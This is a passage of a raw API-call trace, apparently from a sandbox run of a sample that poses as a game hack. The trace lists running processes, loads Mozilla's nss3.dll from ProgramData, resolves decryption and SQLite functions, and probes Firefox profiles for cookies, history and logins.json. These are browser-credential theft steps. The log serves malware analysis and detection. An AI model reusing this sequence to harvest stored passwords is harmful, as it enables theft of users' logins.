lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oxide.exe")) returned 1 [0047.033] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pumpassuming.exe")) returned 1 [0047.034] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tion_belize.exe")) returned 1 [0047.035] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jackaccepting.exe")) returned 1 [0047.036] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="les_lodging.exe")) returned 1 [0047.036] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hazardsbusiness.exe")) returned 1 [0047.037] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dir needs.exe")) returned 1 [0047.038] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="statements inventory.exe")) returned 1 [0047.038] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay returned.exe")) returned 1 [0047.039] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="them.exe")) returned 1 [0047.040] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entertainment_enable.exe")) returned 1 [0047.040] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wirelessnetherlands.exe")) returned 1 [0047.041] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bulgaria.exe")) returned 1 [0047.042] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hours-extensive.exe")) returned 1 [0047.042] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reallysemiconductor.exe")) returned 1 [0047.043] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="breath_reveal_medicare.exe")) returned 1 [0047.044] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spain_chart_slightly.exe")) returned 1 [0047.044] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.045] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="GlobalHack[RUEUNAVN][17.02.2019] .exe")) returned 1 [0047.046] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0047.046] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0047.047] CloseHandle (hObject=0x270) returned 1 [0047.048] GetLastError () returned 0x12 [0047.048] SetLastError (dwErrCode=0x12) [0047.048] GetLastError () returned 0x12 [0047.048] SetLastError (dwErrCode=0x12) [0047.048] GetLastError () returned 0x12 [0047.048] SetLastError (dwErrCode=0x12) [0047.048] GetLastError () returned 0x12 [0047.048] SetLastError (dwErrCode=0x12) [0047.048] GetLastError () returned 0x12 [0047.048] SetLastError (dwErrCode=0x12) [0047.048] GetLastError () returned 0x12 [0047.048] SetLastError (dwErrCode=0x12) [0047.048] GetLastError () returned 0x12 [0047.048] SetLastError (dwErrCode=0x12) [0047.048] GetLastError () returned 0x12 [0047.048] SetLastError (dwErrCode=0x12) [0047.048] GetLastError () returned 0x12 [0047.048] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.049] SetLastError (dwErrCode=0x12) [0047.049] GetLastError () returned 0x12 [0047.050] SetLastError (dwErrCode=0x12) [0047.050] GetLastError () returned 0x12 [0047.050] SetLastError (dwErrCode=0x12) [0047.050] GetLastError () returned 0x12 [0047.050] SetLastError (dwErrCode=0x12) [0047.050] GetLastError () returned 0x12 [0047.050] SetLastError (dwErrCode=0x12) [0047.050] GetLastError () returned 0x12 [0047.050] SetLastError (dwErrCode=0x12) [0047.050] SetEnvironmentVariableA (lpName="PATH", lpValue="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\ProgramData") returned 1 [0047.050] LoadLibraryA (lpLibFileName="C:\\ProgramData\\nss3.dll") returned 0x73880000 [0048.898] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0048.898] _initialize_onexit_table (_Table=0x73870834) returned 0 [0048.898] _initialize_onexit_table (_Table=0x73870840) returned 0 [0048.898] RtlInitializeSListHead (in: ListHead=0x73870ba8 | out: ListHead=0x73870ba8) [0048.899] __vcrt_InitializeCriticalSectionEx () returned 0x1 [0048.899] GetModuleHandleW (lpModuleName="api-ms-win-core-synch-l1-2-0.dll") returned 0x75190000 [0048.899] GetProcAddress (hModule=0x75190000, lpProcName="InitializeConditionVariable") returned 0x77709da0 [0048.899] GetProcAddress (hModule=0x75190000, lpProcName="SleepConditionVariableCS") returned 0x752c2850 [0048.900] GetProcAddress (hModule=0x75190000, lpProcName="WakeAllConditionVariable") returned 0x77713370 [0048.900] RtlInitializeConditionVariable (in: ConditionVariable=0x73870b84 | out: ConditionVariable=0x73870b84) [0048.900] _register_onexit_function (_Table=0x73870834, _Function=0x73867720) returned 0 [0048.900] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0048.900] _register_onexit_function (_Table=0x73870834, _Function=0x738688c0) returned 0 [0048.900] _register_onexit_function (_Table=0x73870834, _Function=0x73868890) returned 0 [0048.900] _register_onexit_function (_Table=0x73870834, _Function=0x73868870) returned 0 [0048.903] getenv (_VarName="MOZ_TIMESTAMP_MODE") returned 0x0 [0048.904] QueryPerformanceFrequency (in: lpFrequency=0x19edf8 | out: lpFrequency=0x19edf8*=100000000) returned 1 [0048.904] _strnicmp (_Str1="GenuntelineI", _Str="GenuntelineI", _MaxCount=0xc) returned 0 [0048.904] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x19ede0, lpTimeIncrement=0x19ede4, lpTimeAdjustmentDisabled=0x19eddc | out: lpTimeAdjustment=0x19ede0, lpTimeIncrement=0x19ede4, lpTimeAdjustmentDisabled=0x19eddc) returned 1 [0048.904] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202677453) returned 1 [0048.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202687366) returned 1 [0048.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202696497) returned 1 [0048.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202705697) returned 1 [0048.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202714765) returned 1 [0048.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202724040) returned 1 [0048.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202733134) returned 1 [0048.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202742186) returned 1 [0048.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202751355) returned 1 [0048.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202760375) returned 1 [0048.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202769630) returned 1 [0048.905] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202778671) returned 1 [0048.906] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202787787) returned 1 [0048.906] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202796843) returned 1 [0048.906] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202805920) returned 1 [0048.906] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202814920) returned 1 [0048.906] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202823951) returned 1 [0048.906] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202832911) returned 1 [0048.906] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202842134) returned 1 [0048.906] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc4 | out: lpPerformanceCount=0x19edc4*=13202851200) returned 1 [0048.906] QueryPerformanceCounter (in: lpPerformanceCount=0x19edc0 | out: lpPerformanceCount=0x19edc0*=13202860545) returned 1 [0048.906] GetTickCount64 () returned 0x20390 [0048.906] _register_onexit_function (_Table=0x73870834, _Function=0x738688b0) returned 0 [0048.906] DisableThreadLibraryCalls (hLibModule=0x73850000) returned 1 [0049.187] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0049.187] _initialize_onexit_table (_Table=0x739aa480) returned 0 [0049.187] _initialize_onexit_table (_Table=0x739aa48c) returned 0 [0049.187] RtlInitializeSListHead (in: ListHead=0x739aa470 | out: ListHead=0x739aa470) [0049.187] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0049.188] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Init") returned 0x7390dc11 [0049.188] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Shutdown") returned 0x7390de9c [0049.188] GetProcAddress (hModule=0x73880000, lpProcName="PK11_GetInternalKeySlot") returned 0x739322b8 [0049.188] GetProcAddress (hModule=0x73880000, lpProcName="PK11_FreeSlot") returned 0x73931d2a [0049.188] GetProcAddress (hModule=0x73880000, lpProcName="PK11_Authenticate") returned 0x7391aa95 [0049.189] GetProcAddress (hModule=0x73880000, lpProcName="PK11SDR_Decrypt") returned 0x7392e262 [0049.189] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_open") returned 0x73884077 [0049.189] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_prepare_v2") returned 0x738848cd [0049.189] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_step") returned 0x73885efb [0049.189] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_column_text") returned 0x738861da [0049.189] GetLastError () returned 0x0 [0049.189] SetLastError (dwErrCode=0x0) [0049.189] GetLastError () returned 0x0 [0049.189] SetLastError (dwErrCode=0x0) [0049.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e814a8, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0049.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e814a8, cbMultiByte=65, lpWideCharStr=0x1e810d0, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*") returned 65 [0049.190] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x19f410 | out: lpFindFileData=0x19f410) returned 0x58a500 [0049.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0049.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=2, lpMultiByteStr=0x1e81060, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 2 [0049.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e814a8, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0049.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e814a8, cbMultiByte=65, lpWideCharStr=0x1e810d0, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.") returned 65 [0049.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\." (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\.")) returned 0x10 [0049.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0049.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x1e81460, cchWideChar=27 | out: lpWideCharStr="\\Mozilla\\Firefox\\Profiles\\") returned 27 [0049.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0049.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x1e810d0, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 38 [0049.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.\\cookies.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\cookies.sqlite")) returned 0xffffffff [0049.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0049.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x1e81460, cchWideChar=27 | out: lpWideCharStr="\\Mozilla\\Firefox\\Profiles\\") returned 27 [0049.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0049.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x1e810d0, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 38 [0049.205] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.\\places.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\places.sqlite")) returned 0xffffffff [0049.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0049.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x1e81460, cchWideChar=27 | out: lpWideCharStr="\\Mozilla\\Firefox\\Profiles\\") returned 27 [0049.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0049.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x1e810d0, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 38 [0049.205] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.\\logins.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\logins.json")) returned 0xffffffff [0049.205] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f410 | out: lpFindFileData=0x19f410) returned 1 [0049.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="..", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0049.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="..", cchWideChar=3, lpMultiByteStr=0x1e81060, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="..", lpUsedDefaultChar=0x0) returned 3 [0049.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e814a8, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0049.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e814a8, cbMultiByte=66, lpWideCharStr=0x1e810d0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..") returned 66 [0049.206] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.." (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox")) returned 0x10 [0049.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0049.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x1e81460, cchWideChar=27 | out: lpWideCharStr="\\Mozilla\\Firefox\\Profiles\\") returned 27 [0049.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0049.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x1e810d0, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 38 [0049.206] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\cookies.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\cookies.sqlite")) returned 0xffffffff [0049.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0049.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x1e81460, cchWideChar=27 | out: lpWideCharStr="\\Mozilla\\Firefox\\Profiles\\") returned 27 [0049.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0049.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x1e810d0, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 38 [0049.207] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\places.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\places.sqlite")) returned 0xffffffff [0049.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0049.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81b08, cbMultiByte=27, lpWideCharStr=0x1e81460, cchWideChar=27 | out: lpWideCharStr="\\Mozilla\\Firefox\\Profiles\\") returned 27 [0049.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0049.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e81ad0, cbMultiByte=38, lpWideCharStr=0x1e810d0, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 38 [0049.207] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\logins.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\logins.json")) returned 0xffffffff [0049.207] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f410 | out: lpFindFileData=0x19f410) returned 1 [0049.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8i341t8m.default", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0049.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8i341t8m.default", cchWideChar=17, lpMultiByteStr=0x1e81460, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8i341t8m.default", lpUsedDefaultChar=0x0) returned 17 [0049.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e814a8, cbMultiByte=80, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0049.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e814a8, cbMultiByte=80, lpWideCharStr=0x1e810d0, cchWideChar=80 | out: 